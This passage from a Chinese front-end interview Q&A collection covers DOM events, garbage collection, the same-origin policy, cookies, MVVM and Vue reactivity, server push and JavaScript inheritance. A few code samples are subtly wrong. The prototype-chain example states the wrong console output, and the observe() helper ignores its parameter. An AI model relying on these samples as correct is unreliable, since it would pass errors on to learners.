  • 另外,可以使用异步加载的方式(如将 script 标签添加 async 属性)或延迟加载的方式(如将 script 标签添加 defer 属性),来减少脚本对页面加载的阻塞影响。这样可以在不阻塞页面渲染的情况下加载和执行脚本,加快首屏显示的完成时间。

# 103 介绍 DOM 的发展

  • DOM:文档对象模型(Document Object Model),定义了访问HTML和XML文档的标准,与编程语言及平台无关
  • DOM Level 0:提供了查询和操作Web文档的内容API。未形成标准,实现混乱。如:document.forms['login']
  • DOM Level 1:W3C提出标准化的DOM,简化了对文档中任意部分的访问和操作。如:JavaScript中的Document对象
  • DOM Level 2:原来DOM基础上扩充了鼠标事件等细分模块,增加了对CSS的支持。如:getComputedStyle(elem, pseudo)
  • DOM Level 3:增加了XPath模块和加载与保存(Load and Save)模块。如:XPathEvaluator
  • DOM Level 4:继续扩展了 DOM 标准,引入了一些新的接口和功能,如 MutationObserver 用于监听 DOM 变动、Shadow DOM 用于创建独立的 DOM 子树等

# 104 介绍DOM0,DOM2,DOM3事件处理方式区别

  • DOM0级事件处理方式:通过直接给事件属性赋值的方式进行事件处理,例如 element.onclick = func;。这种方式只能为同一个事件属性赋一个处理函数,且无法进行事件捕获阶段的处理。取消事件处理需要将事件属性赋值为null
    • btn.onclick = func;
    • btn.onclick = null;
  • DOM2级事件处理方式:引入了 addEventListenerremoveEventListener 方法来注册和移除事件处理函数。通过使用该方式,可以为同一个事件属性添加多个处理函数,且可以在事件的捕获阶段或冒泡阶段进行处理。使用addEventListener 注册事件处理函数,使用 removeEventListener 移除事件处理函数
    • btn.addEventListener('click', func, false);
    • btn.removeEventListener('click', func, false);
    • btn.attachEvent("onclick", func);
    • btn.detachEvent("onclick", func);
  • DOM3级事件处理方式:引入了新的事件类型和接口,提供更多的事件处理选项。可以使用自定义的事件类型,并通过 eventUtil 等自定义的工具对象来添加和移除事件处理函数。DOM3级事件处理方式还引入了事件的命名空间概念,允许对特定命名空间的事件进行处理
    • eventUtil.addListener(input, "textInput", func);
    • eventUtil 是自定义对象,textInput 是DOM3级事件

在事件处理过程中,事件会经历捕获阶段、目标阶段和冒泡阶段。捕获阶段从文档根节点开始,向下传递到触发事件的目标元素,然后进入目标阶段,最后冒泡阶段从目标元素向上冒泡到文档根节点。DOM2DOM3级事件处理方式都支持捕获和冒泡阶段的处理,可以通过第三个参数 useCapture 来控制事件是在捕获阶段还是冒泡阶段触发。

需要注意的是,DOM2和DOM3级事件处理方式的兼容性较好,而DOM0级事件处理方式在现代的开发中很少使用,推荐使用DOM2级或DOM3级事件处理方式。

# 105 区分什么是“客户区坐标”、“页面坐标”、“屏幕坐标”

  • 客户区坐标:鼠标指针在可视区中的水平坐标(clientX)和垂直坐标(clientY)
  • 页面坐标:鼠标指针在页面布局中的水平坐标(pageX)和垂直坐标(pageY)
  • 屏幕坐标:设备物理屏幕的水平坐标(screenX)和垂直坐标(screenY)
<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      margin: 0;
      height: 2000px;
    }
    #box {
      width: 200px;
      height: 200px;
      background-color: red;
      position: absolute;
      left: 100px;
      top: 100px;
    }
  </style>
</head>
<body>
  <div id="box"></div>

  <script>
    document.addEventListener('mousemove', function(event) {
      console.log('客户区坐标:', event.clientX, event.clientY);
      console.log('页面坐标:', event.pageX, event.pageY);
      console.log('屏幕坐标:', event.screenX, event.screenY);
    });
  </script>
</body>
</html>

如何获得一个DOM元素的绝对位置?

  • elem.offsetLeft:返回元素相对于其定位父级左侧的距离
  • elem.offsetTop:返回元素相对于其定位父级顶部的距离
  • elem.getBoundingClientRect():返回一个DOMRect对象,包含一组描述边框的只读属性,单位像素
<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      margin: 0;
      padding: 0;
    }
    #container {
      width: 500px;
      height: 500px;
      position: relative;
      border: 1px solid black;
    }
    #box {
      width: 100px;
      height: 100px;
      background-color: red;
      position: absolute;
      left: 200px;
      top: 200px;
    }
  </style>
</head>
<body>
  <div id="container">
    <div id="box"></div>
  </div>

  <script>
    var box = document.getElementById('box');
    
    var offsetLeft = box.offsetLeft;
    var offsetTop = box.offsetTop;
    console.log('offsetLeft:', offsetLeft);
    console.log('offsetTop:', offsetTop);
    
    var rect = box.getBoundingClientRect();
    console.log('rect:', rect);
    console.log('left:', rect.left);
    console.log('top:', rect.top);
  </script>
</body>
</html>

# 106 Javascript垃圾回收方法

正常情况下,现代的 JavaScript 引擎会使用标记清除(mark and sweep)算法作为主要的垃圾回收方法。引用计数(reference counting)在某些老旧的 JavaScript 引擎中可能会被使用。

标记清除(mark and sweep)是 JavaScript 中最常见的垃圾回收算法,其工作原理如下:

  1. 垃圾回收器会在运行时给存储在内存中的所有变量加上标记。
  2. 垃圾回收器会从根对象开始,递归遍历所有的引用,标记它们为“进入环境”。
  3. 在遍历完成后,垃圾回收器会对未被标记的变量进行清除,即将其回收内存空间。
  4. 被清除的内存空间将被重新分配给后续的变量使用。
function foo() {
  var x = { name: 'poetry' };
  var y = { name: 'Jane' };
  
  // 循环引用,x 引用了 y,y 引用了 x
  x.ref = y;
  y.ref = x;
  
  // x 和 y 不再被使用,将被标记为垃圾
  x = null;
  y = null;
  
  // 垃圾回收器在适当的时机会清理循环引用的对象
}

// 调用函数触发垃圾回收
foo();

引用计数(reference counting)是一种简单的垃圾回收算法,其工作原理如下:

  1. 对于每个对象,引擎会维护一个引用计数器,用于记录当前有多少个引用指向该对象。
  2. 当一个引用指向对象时,引用计数器加一;当一个引用不再指向对象时,引用计数器减一。
  3. 当引用计数器为零时,说明该对象没有被引用,可以将其回收内存空间。
  4. 引用计数算法容易出现循环引用的问题,即两个或多个对象互相引用,但没有被其他对象引用,导致引用计数器无法归零,造成内存泄漏。

值得注意的是,现代的 JavaScript 引擎往往会采用更高级的垃圾回收算法,如基于分代的垃圾回收和增量标记等,以提高垃圾回收的效率和性能。以上所述的标记清除和引用计数仅是简单的介绍,实际的垃圾回收算法比较复杂,并涉及到更多的优化和细节。

// 引用计数无法处理循环引用问题,这里只作演示
function foo() {
  var x = { name: 'poetry' };
  var y = { name: 'Jane' };
  
  // x 和 y 引用计数均为 1
  var refCountX = 1;
  var refCountY = 1;
  
  // 循环引用,x 引用了 y,y 引用了 x
  x.ref = y;
  y.ref = x;
  
  // x 和 y 不再被使用,引用计数减一
  refCountX--;
  refCountY--;
  
  // 当引用计数为零时,垃圾回收器可以清理对象
  if (refCountX === 0) {
    // 清理 x 对象的内存
    x = null;
  }
  
  if (refCountY === 0) {
    // 清理 y 对象的内存
    y = null;
  }
}

// 调用函数触发垃圾回收
foo();

请注意,上述示例中的引用计数示例仅为演示目的,并未解决循环引用导致的内存泄漏问题。在实际开发中,为了避免内存泄漏,需要使用更高级的垃圾回收算法和技术,或者手动解除循环引用。

# 107 请解释一下 JavaScript 的同源策略

同源策略(Same-Origin Policy)是浏览器中一种重要的安全机制,用于限制来自不同源(协议、域名、端口)的脚本对当前文档的访问权限。同源策略的作用是保护用户的信息安全,防止恶意网站获取敏感数据或进行跨站攻击。

同源策略限制了以下行为:

  1. 脚本访问跨源文档的 DOM:通过脚本在页面中嵌入的 iframe 元素加载的跨源文档无法通过脚本访问其 DOM,除非目标文档明确允许。
  2. 脚本读取跨源文档的内容:通过脚本在页面中嵌入的 iframe 元素加载的跨源文档无法通过脚本读取其内容,包括读取属性、执行方法等。
  3. 脚本发送跨源 AJAX 请求:脚本无法直接发送跨源的 AJAX 请求,只能向同源的服务器发送请求。
  4. CookieLocalStorageIndexDB 的限制:跨源的脚本无法访问其他源的 CookieLocalStorageIndexDB 数据。

同源策略的存在使得浏览器可以更好地保护用户的隐私和安全。然而,也有一些场景需要进行跨域访问,例如使用 JSONPCORS、代理服务器等方式来实现跨域请求。

需要注意的是,同源策略仅在浏览器中执行,不会限制服务器之间的通信,服务器可以自由地进行跨域访问。

# 108 如何删除一个cookie

删除一个 Cookie 可以通过以下几种方式实现:

1. 将 Cookie 的过期时间设置为过去的时间:

var date = new Date();
date.setDate(date.getDate() - 1);
document.cookie = "cookieName=; expires=" + date.toUTCString();

cookieName 替换为要删除的 Cookie 的名称。

2. 使用 expires 参数设置过期时间:

document.cookie = "cookieName=; expires=Thu, 01 Jan 1970 00:00:00 UTC";

同样,将 cookieName 替换为要删除的 Cookie 的名称。

3. 使用 max-age 参数设置过期时间:

document.cookie = "cookieName=; max-age=0";

同样,将 cookieName 替换为要删除的 Cookie 的名称。

请注意,删除 Cookie 时需要确保 pathdomain 参数与要删除的 Cookie 的设置一致,以确保正确删除指定的 Cookie

# 109 页面编码和被请求的资源编码如果不一致如何处理

如果页面编码和被请求的资源编码不一致,可以采取以下处理方式:

  1. 后端响应头设置 charset:在服务器端返回资源(例如 HTML 页面、CSS 文件、JavaScript 文件)时,在响应头中设置正确的字符编码,确保与页面编码一致。例如,在 HTTP 头部中添加以下内容:
Content-Type: text/html; charset=utf-8

这样可以告诉浏览器使用 UTF-8 编码解析返回的资源。

  1. 前端页面 <meta> 设置 charset:在 HTML 页面的 <head> 部分添加 <meta> 标签,并设置正确的字符编码,确保与被请求的资源编码一致。例如:
<meta charset="utf-8">

这样可以告诉浏览器使用 UTF-8 编码解析当前页面。

通过上述方式设置正确的字符编码,可以确保页面和被请求的资源在解析和显示时使用一致的编码,避免乱码等问题。需要注意的是,确保页面和资源的编码设置一致,并且字符编码在各个环节中正确传递和解析。

# 110 把<script>放在</body>之前和之后有什么区别?浏览器会如何解析它们?

<script>放在</body>之前和之后的区别主要是在符合HTML标准的语法规则和浏览器的容错机制上,具体如下:

  1. 符合HTML标:按照HTML标准规定,<script>标签应该放在<body>标签内,通常是放在</body>之前。将<script>放在</body>之后是不符合HTML标准的,属于语法错误。但是,现代浏览器通常会自动容错并解析这样的语法,不会出现明显的错误。
  2. 浏览器解析:浏览器会解析并执行<script>标签中的JavaScript代码。无论<script>放在</body>之前还是之后,浏览器都会执行其中的代码。浏览器的容错机制会忽略<script>之前的</body>,视作<script>仍然在<body>内部。因此,从功能和效果上来说,两者没有区别。
  3. 服务器输出优化:在一些情况下,省略</body></html>闭合标签可以减少服务器输出的内容,因为浏览器会自动补全这些标签。对于大型网站或需要优化响应速度的场景,这种优化可以略微减少传输的字节数。

需要注意的是,虽然现代浏览器对放置<script>标签的位置比较宽容,但为了遵循HTML标准和保持代码的可读性和可维护性,推荐将<script>标签放在</body>之前,符合语义和结构的要求。

# 111 JavaScript 中,调用函数有哪几种方式

在JavaScript中,调用函数有以下几种方式:

  1. 方法调用模式:将函数作为对象的方法调用,使用点运算符来调用函数。
obj.method(arg1, arg2);
  1. 函数调用模式:直接调用函数,没有明确的接收者对象。
func(arg1, arg2);
  1. 构造器调用模式:使用new关键字调用函数作为构造器来创建对象实例。
new Func(arg1, arg2);
  1. call/apply调用模式:使用callapply方法来调用函数,并指定函数内部的this值,以及参数列表。
func.call(obj, arg1, arg2);
func.apply(obj, [arg1, arg2]);
  1. bind调用模式:使用bind方法创建一个新函数,并指定新函数的this值,然后调用新函数。
var newFunc = func.bind(obj);
newFunc(arg1, arg2);

这些不同的调用方式提供了灵活性和适用性,可以根据不同的场景选择合适的方式来调用函数。

# 112 列举一下JavaScript数组和对象有哪些原生方法?

数组方法:

  • arr.concat(arr1, arr2, arrn):连接多个数组并返回新数组。
  • arr.copyWithin(target, start, end):将数组的一部分复制到同一数组中的另一个位置。
  • arr.entries():返回一个包含数组键值对的迭代器对象。
  • arr.every(callbackFn, thisArg):测试数组中的所有元素是否都通过了指定函数的测试。
  • arr.fill(value, start, end):用静态值填充数组的一部分。
  • arr.filter(callbackFn, thisArg):创建一个新数组,其中包含通过指定函数筛选的所有元素。
  • arr.find(callbackFn, thisArg):返回数组中第一个满足测试函数的元素的值。
  • arr.findIndex(callbackFn, thisArg):返回数组中第一个满足测试函数的元素的索引。
  • arr.flat(depth):将多维数组展平为一维数组。
  • arr.flatMap(callbackFn, thisArg):首先使用映射函数映射每个元素,然后将结果展平为一维数组。
  • arr.forEach(callbackFn, thisArg):对数组中的每个元素执行指定函数。
  • arr.includes(searchElement, fromIndex):判断数组中是否包含指定元素。
  • arr.indexOf(searchElement, fromIndex):返回指定元素在数组中首次出现的索引。
  • arr.join(separator):将数组元素连接为一个字符串,并使用指定的分隔符。
  • arr.keys():返回一个包含数组键的迭代器对象。
  • arr.lastIndexOf(searchElement, fromIndex):返回指定元素在数组中最后一次出现的索引。
  • arr.map(callbackFn, thisArg):创建一个新数组,其中包含通过指定函数对每个元素进行处理后的结果。
  • arr.pop():移除并返回数组的最后一个元素。
  • arr.push(element1, element2, ..., elementN):向数组末尾添加一个或多个元素,并返回新的长度。
  • arr.reduce(callbackFn, initialValue):对数组中的所有元素执行指定的累积函数,返回累积结果。
  • arr.reduceRight(callbackFn, initialValue):对数组中的所有元素执行指定的累积函数(从右到左),返回累积结果。
  • arr.reverse():反转数组中元素的顺序。
  • arr.shift():移除并返回数组的第一个元素。
  • arr.slice(start, end):从数组中提取指定范围的元素,并返回一个新数组。
  • arr.some(callbackFn, thisArg):测试数组中的至少一个元素是否通过了指定函数的测试。
  • arr.sort(compareFunction):对数组元素进行排序,可以传入自定义的比较函数。
  • arr.splice(start, deleteCount, item1, item2, ...):从数组中添加/删除元素,并返回被删除的元素。
  • arr.toLocaleString():将数组中的元素转换为字符串,并返回该字符串。
  • arr.toString():将数组中的元素转换为字符串,并返回该字符串。
  • arr.unshift(element1, element2, ..., elementN):向数组开头添加一个或多个元素,并返回新的长度。
  • arr.values():返回一个包含数组值的迭代器对象。

对象方法:

  • Object.assign(target, ...sources):将一个或多个源对象的属性复制到目标对象,并返回目标对象。
  • Object.create(proto, [propertiesObject]):使用指定的原型对象和属性创建一个新对象。
  • Object.defineProperties(obj, props):定义一个或多个对象的新属性或修改现有属性的配置。
  • Object.defineProperty(obj, prop, descriptor):定义一个新属性或修改现有属性的配置。
  • Object.entries(obj):返回一个包含对象自身可枚举属性的键值对数组。
  • Object.freeze(obj):冻结对象,使其属性不可修改。
  • Object.fromEntries(entries):将键值对列表转换为对象。
  • Object.getOwnPropertyDescriptor(obj, prop):返回对象属性的描述符。
  • Object.getOwnPropertyDescriptors(obj):返回对象所有属性的描述符。
  • Object.getOwnPropertyNames(obj):返回一个数组,包含对象自身的所有属性名称。
  • Object.getOwnPropertySymbols(obj):返回一个数组,包含对象自身的所有Symbol属性。
  • Object.getPrototypeOf(obj):返回指定对象的原型。
  • Object.is(value1, value2):判断两个值是否相同。
  • Object.isExtensible(obj):判断对象是否可扩展。
  • Object.isFrozen(obj):判断对象是否已被冻结。
  • Object.isSealed(obj):判断对象是否已被密封。
  • Object.keys(obj):返回一个数组,包含对象自身的所有可枚举属性名称。
  • Object.preventExtensions(obj):阻止对象扩展,使其不可添加新属性。
  • Object.seal(obj):将对象密封,使其属性不可添加、删除或配置。
  • Object.setPrototypeOf(obj, prototype):设置对象的原型。
  • Object.values(obj):返回一个包含对象自身可枚举属性的值的数组。

这些方法可以帮助我们在JavaScript中更方便地操作和处理数组和对象的数据。

# 113 Array.slice() 与 Array.splice() 的区别?

  • slice() 方法返回一个新数组,包含从原数组中指定的开始位置到结束位置(不包括结束位置)的元素,不会修改原数组。
  • splice() 方法通过删除或替换现有元素或者添加新元素来修改原数组。它会返回被删除的元素组成的数组。
const fruits = ['apple', 'banana', 'orange', 'mango', 'kiwi'];

// 从索引 1 开始删除 2 个元素,并插入 'grape' 和 'pear'
const deletedFruits = fruits.splice(1, 2, 'grape', 'pear');

console.log(deletedFruits); // 输出: ['banana', 'orange']
console.log(fruits); // 输出: ['apple', 'grape', 'pear', 'mango', 'kiwi']
const fruits = ['apple', 'banana', 'orange'];

// 在索引 1 的位置插入 'grape' 和 'kiwi'
fruits.splice(1, 0, 'grape', 'kiwi');

console.log(fruits); // 输出: ['apple', 'grape', 'kiwi', 'banana', 'orange']

主要区别如下:

  • slice() 是纯粹的读取操作,不会对原数组进行修改,而 splice() 是对数组进行操作,会修改原数组。
  • slice() 的参数是起始位置和结束位置,返回选定的元素组成的新数组。splice() 的参数是起始位置、删除的元素个数以及可选的插入元素,返回被删除的元素组成的新数组。
  • slice() 的结束位置是不包括在选取范围内的,而 splice() 中的删除元素个数是包括在操作范围内的。
  • slice() 不会改变原数组的长度,而 splice() 可以改变原数组的长度。

总的来说,slice() 是用来提取数组中的一部分元素,不改变原数组,而 splice() 是用来操作数组,可以删除、替换或插入元素,会改变原数组。

const fruits = ['apple', 'banana', 'orange', 'mango', 'kiwi'];

// 从索引 1 开始(包括索引 1),到索引 3 结束(不包括索引 3)
const slicedFruits = fruits.slice(1, 3);

console.log(slicedFruits); // 输出: ['banana', 'orange']
console.log(fruits); // 输出: ['apple', 'banana', 'orange', 'mango', 'kiwi']

# 114 MVVM

MVVM(Model-View-ViewModel)是一种软件架构模式,用于实现用户界面(UI)和业务逻辑的分离。它的设计目标是将界面的开发与后端的业务逻辑分离,使代码更易于理解、维护和测试。

在MVVM中,各个组成部分的职责如下:

  • Model(模型):表示应用程序的数据和业务逻辑。它负责数据的存储、检索和更新,并封装了与数据相关的操作和规则。
  • View(视图):展示用户界面,通常是由UI元素组成的。它是用户与应用程序进行交互的界面,负责将数据呈现给用户,并接收用户的输入。
  • ViewModel(视图模型):连接View和Model,负责处理业务逻辑和数据的交互。它从Model中获取数据,并将数据转换为View可以理解和展示的格式。ViewModel还负责监听View的变化,并根据用户的输入更新Model中的数据。

MVVM的核心思想是数据绑定,通过双向绑定机制将View和ViewModel中的数据保持同步。当ViewModel中的数据发生变化时,View会自动更新,反之亦然。这种数据驱动的方式使得开发者可以专注于业务逻辑的实现,而无需手动操作DOM元素来更新界面。

MVVM的优势包括:

  • 可维护性:将界面逻辑与业务逻辑分离,使代码更易于理解和维护。
  • 可测试性:由于视图逻辑与业务逻辑解耦,可以更容易地编写单元测试来验证ViewModel的行为。
  • 可复用性:ViewModel可以独立于具体的View,可以复用在不同的界面上,提高代码的重用性。
  • 团队协作:MVVM模式将界面开发与后端逻辑分离,使得前端和后端开发人员可以并行工作,提高团队的协作效率。

总而言之,MVVM是一种能够将界面逻辑与业务逻辑分离的软件架构模式,通过数据绑定实现了View和ViewModel的自动同步,提高了代码的可维护性、可测试性和可复用性。

  • 在Vue中,ViewModel由Vue实例扮演。Vue通过数据绑定机制建立了View和ViewModel之间的连接,当ViewModel中的数据发生变化时,View会自动更新,反之亦然。这种双向数据绑定使得开发者能够以一种声明式的方式编写代码,而不需要手动操作DOM来更新界面。
  • 总结来说,MVVM是一种将数据驱动视图的设计模式,通过ViewModel作为中间层来实现数据和视图之间的解耦。Vue作为一种流行的MVVM框架,提供了强大的数据绑定和响应式系统,使开发者能够更轻松地构建交互性强的Web应用程序。

数据劫持 Vue 内部使用了 Obeject.defineProperty() 来实现双向绑定,通过这个函数可以监听到 setget的事件

var data = { name: 'poetry' }
observe(data)
let name = data.name // -> get value
data.name = 'yyy' // -> change value

function observe(obj) {
  // 判断类型
  if (!obj || typeof obj !== 'object') {
    return
  }
  Object.keys(data).forEach(key => {
    defineReactive(data, key, data[key])
  })
}

function defineReactive(obj, key, val) {
  // 递归子属性
  observe(val)
  Object.defineProperty(obj, key, {
    enumerable: true,
    configurable: true,
    get: function reactiveGetter() {
      console.log('get value')
      return val
    },
    set: function reactiveSetter(newVal) {
      console.log('change value')
      val = newVal
    }
  })
}

以上代码简单的实现了如何监听数据的 set 和 get 的事件,但是仅仅如此是不够的,还需要在适当的时候给属性添加发布订阅

<div>
    {{name}}
</div>

在解析如上模板代码时,遇到 {name} 就会给属性 name 添加发布订阅

// 通过 Dep 解耦
class Dep {
  constructor() {
    this.subs = []
  }
  addSub(sub) {
    // sub 是 Watcher 实例
    this.subs.push(sub)
  }
  notify() {
    this.subs.forEach(sub => {
      sub.update()
    })
  }
}
// 全局属性,通过该属性配置 Watcher
Dep.target = null

function update(value) {
  document.querySelector('div').innerText = value
}

class Watcher {
  constructor(obj, key, cb) {
    // 将 Dep.target 指向自己
    // 然后触发属性的 getter 添加监听
    // 最后将 Dep.target 置空
    Dep.target = this
    this.cb = cb
    this.obj = obj
    this.key = key
    this.value = obj[key]
    Dep.target = null
  }
  update() {
    // 获得新值
    this.value = this.obj[this.key]
    // 调用 update 方法更新 Dom
    this.cb(this.value)
  }
}
var data = { name: 'poetry' }
observe(data)
// 模拟解析到 `{{name}}` 触发的操作
new Watcher(data, 'name', update)
// update Dom innerText
data.name = 'yyy' 

接下来,对 defineReactive 函数进行改造

function defineReactive(obj, key, val) {
  // 递归子属性
  observe(val)
  let dp = new Dep()
  Object.defineProperty(obj, key, {
    enumerable: true,
    configurable: true,
    get: function reactiveGetter() {
      console.log('get value')
      // 将 Watcher 添加到订阅
      if (Dep.target) {
        dp.addSub(Dep.target)
      }
      return val
    },
    set: function reactiveSetter(newVal) {
      console.log('change value')
      val = newVal
      // 执行 watcher 的 update 方法
      dp.notify()
    }
  })
}

以上实现了一个简易的双向绑定,核心思路就是手动触发一次属性的 getter 来实现发布订阅的添加

Proxy 与 Obeject.defineProperty 对比

Object.defineProperty在实现双向绑定时存在一些局限性,特别是在处理数组时的表现。为了解决这些问题,JavaScript引入了Proxy对象,它提供了更强大的拦截和自定义行为能力,进一步改善了双向绑定的实现。

Object.defineProperty相比,Proxy具有以下优势:

  • 支持监听数组变化:使用Proxy可以监听到数组的变化,包括对数组的pushpopsplice等操作。这使得在实现数组的双向绑定时更加方便和高效。
  • 支持监听动态新增属性Proxy可以监听对象属性的动态新增,而Object.defineProperty只能监听已经存在的属性。这意味着可以在运行时动态地给对象添加新属性,并对其进行拦截和处理。
  • 更灵活的拦截和自定义行为Proxy提供了多种拦截器(handler),可以针对不同的操作进行自定义处理。通过拦截器,可以实现属性的读取、设置、删除等操作的拦截,以及对函数的调用进行拦截。这种灵活性使得在实现双向绑定时更加便捷和可控。

然而,需要注意的是,Proxy是ES6引入的新特性,对于一些较旧的浏览器可能不完全支持。在选择使用Proxy还是Object.defineProperty时,需要根据目标平台和需求进行权衡和选择。

总结来说,Proxy相比Object.defineProperty提供了更强大和灵活的拦截和自定义行为能力,特别是在处理数组和动态新增属性时表现更好。它是实现双向绑定的一种更先进的方法,为开发者提供了更好的开发体验和效率。

以下是一个简单的示例代码,演示了如何使用Proxy实现简单的双向绑定功能。

// 定义一个响应式对象
const reactiveObj = {
  name: 'poetry',
  age: 30
};

// 创建一个代理对象
const reactiveProxy = new Proxy(reactiveObj, {
  get(target, key) {
    console.log(`读取属性 ${key}`);
    return target[key];
  },
  set(target, key, value) {
    console.log(`设置属性 ${key} 值为 ${value}`);
    target[key] = value;
    // 触发更新操作,这里简化为输出当前对象
    console.log(reactiveObj);
    return true;
  }
});

// 使用代理对象进行属性的读取和设置
console.log(reactiveProxy.name); // 读取属性 name
reactiveProxy.age = 40; // 设置属性 age 值为 40

在上述示例中,我们使用Proxy创建了一个代理对象reactiveProxy,并定义了getset拦截器。在get拦截器中,我们输出了属性的读取操作,而在set拦截器中,我们输出了属性的设置操作,并手动触发了更新操作。通过代理对象reactiveProxy,我们可以像访问普通对象一样读取和设置属性值,同时还可以进行自定义的操作。

在Vue.js中,实际的双向绑定实现比上述示例要复杂得多,涉及到依赖追踪、响应式系统、模板编译等方面的内容。Vue.js使用了Proxy对象和其他技术来实现双向绑定功能。如果你有兴趣深入了解Vue.js的源码实现,可以查看Vue.js的官方仓库,其中包含了完整的源码实现。

# 115 WEB应用从服务器主动推送Data到客户端有那些方式

  1. WebSocket:WebSocket是一种双向通信协议,通过建立持久连接,服务器可以主动向客户端推送数据,而不需要客户端发送请求。WebSocket提供了实时性更好的数据推送能力,适用于需要实时更新数据的场景。
  2. Server-Sent Events(SSE):SSE是HTML5中定义的一种服务器推送技术,通过建立一个持久的HTTP连接,服务器可以向客户端推送数据,客户端通过监听事件来接收推送的数据。SSE适用于需要实现单向实时数据推送的场景,例如实时新闻、实时股票行情等。
  3. Long Polling:长轮询是一种通过客户端不断发送请求,服务器在有数据更新时立即响应的方式。客户端发送一个请求到服务器,服务器一直保持连接打开,直到有新的数据可用或超时,然后将响应返回给客户端,客户端再立即发送下一个请求。长轮询可以模拟实时的数据推送,但相比WebSocket和SSE,它的实现相对复杂,并且对服务器资源的消耗较大。

以上这些方式都可以实现服务器主动推送数据到客户端,选择哪种方式取决于具体的需求和技术栈的选择。WebSocket和SSE是现代Web应用中较为常用的服务器推送技术,它们提供了更好的实时性和效率。

示例代码如下:

WebSocket 示例:

客户端代码:

const socket = new WebSocket('ws://your-server-url');

socket.addEventListener('open', () => {
  console.log('WebSocket连接已建立');
});

socket.addEventListener('message', (event) => {
  const data = event.data;
  console.log('收到服务器推送的数据:', data);
});

socket.addEventListener('close', () => {
  console.log('WebSocket连接已关闭');
});

服务器端代码(使用Node.js和WebSocket库ws):

const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', (ws) => {
  console.log('新的WebSocket连接已建立');

  // 模拟推送数据给客户端
  setInterval(() => {
    ws.send('服务器主动推送的数据');
  }, 5000);

  ws.on('close', () => {
    console.log('WebSocket连接已关闭');
  });
});

Server-Sent Events 示例:

客户端代码:

const eventSource = new EventSource('your-server-url');

eventSource.addEventListener('message', (event) => {
  const data = event.data;
  console.log('收到服务器推送的数据:', data);
});

eventSource.addEventListener('error', (event) => {
  console.error('发生错误:', event);
});

服务器端代码(使用Node.js和Express框架):

const express = require('express');

const app = express();

app.get('/stream', (req, res) => {
  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');

  // 模拟每5秒发送一次数据给客户端
  setInterval(() => {
    res.write(`data: 服务器主动推送的数据\n\n`);
  }, 5000);
});

app.listen(8080, () => {
  console.log('服务器已启动');
});

请注意,以上示例仅为简单示例,实际使用时需要根据具体的需求和技术栈进行适当的调整。

# 116 继承

  • 原型链继承,将父类的实例作为子类的原型,他的特点是实例是子类的实例也是父类的实例,父类新增的原型方法/属性,子类都能够访问,并且原型链继承简单易于实现,缺点是来自原型对象的所有属性被所有实例共享,无法实现多继承,无法向父类构造函数传参。
function Parent() {
  this.name = 'Parent';
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child() {}

Child.prototype = new Parent();

var child = new Child();
child.sayHello(); // Output: Hello, I am Child
  • 构造继承,使用父类的构造函数来增强子类实例,即复制父类的实例属性给子类,构造继承可以向父类传递参数,可以实现多继承,通过call多个父类对象。但是构造继承只能继承父类的实例属性和方法,不能继承原型属性和方法,无法实现函数服用,每个子类都有父类实例函数的副本,影响性能
function Parent(name) {
  this.name = name;
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child(name) {
  Parent.call(this, name);
}

var child = new Child('Child');
child.sayHello(); // Output: Hello, I am Child
  • 实例继承,为父类实例添加新特性,作为子类实例返回,实例继承的特点是不限制调用方法,不管是new 子类()还是子类()返回的对象具有相同的效果,缺点是实例是父类的实例,不是子类的实例,不支持多继承
function createParent() {
  var parent = {
    name: 'Parent',
    sayHello: function() {
      console.log('Hello, I am ' + this.name);
    }
  };
  return parent;
}

function createChild() {
  var child = Object.create(createParent());
  child.name = 'Child';
  return child;
}

var child = createChild();
child.sayHello(); // Output: Hello, I am Child
  • 拷贝继承:特点:支持多继承,缺点:效率较低,内存占用高(因为要拷贝父类的属性)无法获取父类不可枚举的方法(不可枚举方法,不能使用for in访问到)
function copyProperties(target, source) {
  for (var key in source) {
    if (source.hasOwnProperty(key)) {
      target[key] = source[key];
    }
  }
}

function Parent() {
  this.name = 'Parent';
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child() {
  Parent.call(this);
  this.name = 'Child';
}

copyProperties(Child.prototype, Parent.prototype);

var child = new Child();
child.sayHello(); // Output: Hello, I am Child
  • 组合继承:通过调用父类构造,继承父类的属性并保留传参的优点,然后通过将父类实例作为子类原型,实现函数复用
function Parent(name) {
  this.name = name;
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child(name) {
  Parent.call(this, name);
}

Child.prototype = Object.create(Parent.prototype);
Child.prototype.constructor = Child;

var child = new Child('Child');
child.sayHello(); // Output: Hello, I am Child
  • 寄生组合继承:通过寄生方式,砍掉父类的实例属性,这样,在调用两次父类的构造的时候,就不会初始化两次实例方法/属性,避免的组合继承的缺点
function Parent(name) {
  this.name = name;
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child(name) {
  Parent.call(this, name);
}

function inheritPrototype(child, parent) {
  var prototype = Object.create(parent.prototype);
  prototype.constructor = child;
  child.prototype = prototype;
}

inheritPrototype(Child, Parent);

var child = new Child('Child');
child.sayHello(); // Output: Hello, I am Child

# 117 有四个操作会忽略enumerable为false的属性

  • for...in循环:只遍历对象自身的和继承的可枚举的属性。
var obj = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(obj, 'prop3', {
  value: 'value3',
  enumerable: false
});

for (var key in obj) {
  console.log(key); // Output: prop1, prop2
}
  • Object.keys():返回对象自身的所有可枚举的属性的键名。
var obj = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(obj, 'prop3', {
  value: 'value3',
  enumerable: false
});

var keys = Object.keys(obj);
console.log(keys); // Output: ["prop1", "prop2"]
  • JSON.stringify():只串行化对象自身的可枚举的属性。
var obj = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(obj, 'prop3', {
  value: 'value3',
  enumerable: false
});

var json = JSON.stringify(obj);
console.log(json); // Output: "{"prop1":"value1","prop2":"value2"}"
  • Object.assign(): 忽略enumerablefalse的属性,只拷贝对象自身的可枚举的属性。
var source = {
  prop1: 'value1',
  prop2: 'value2'
};

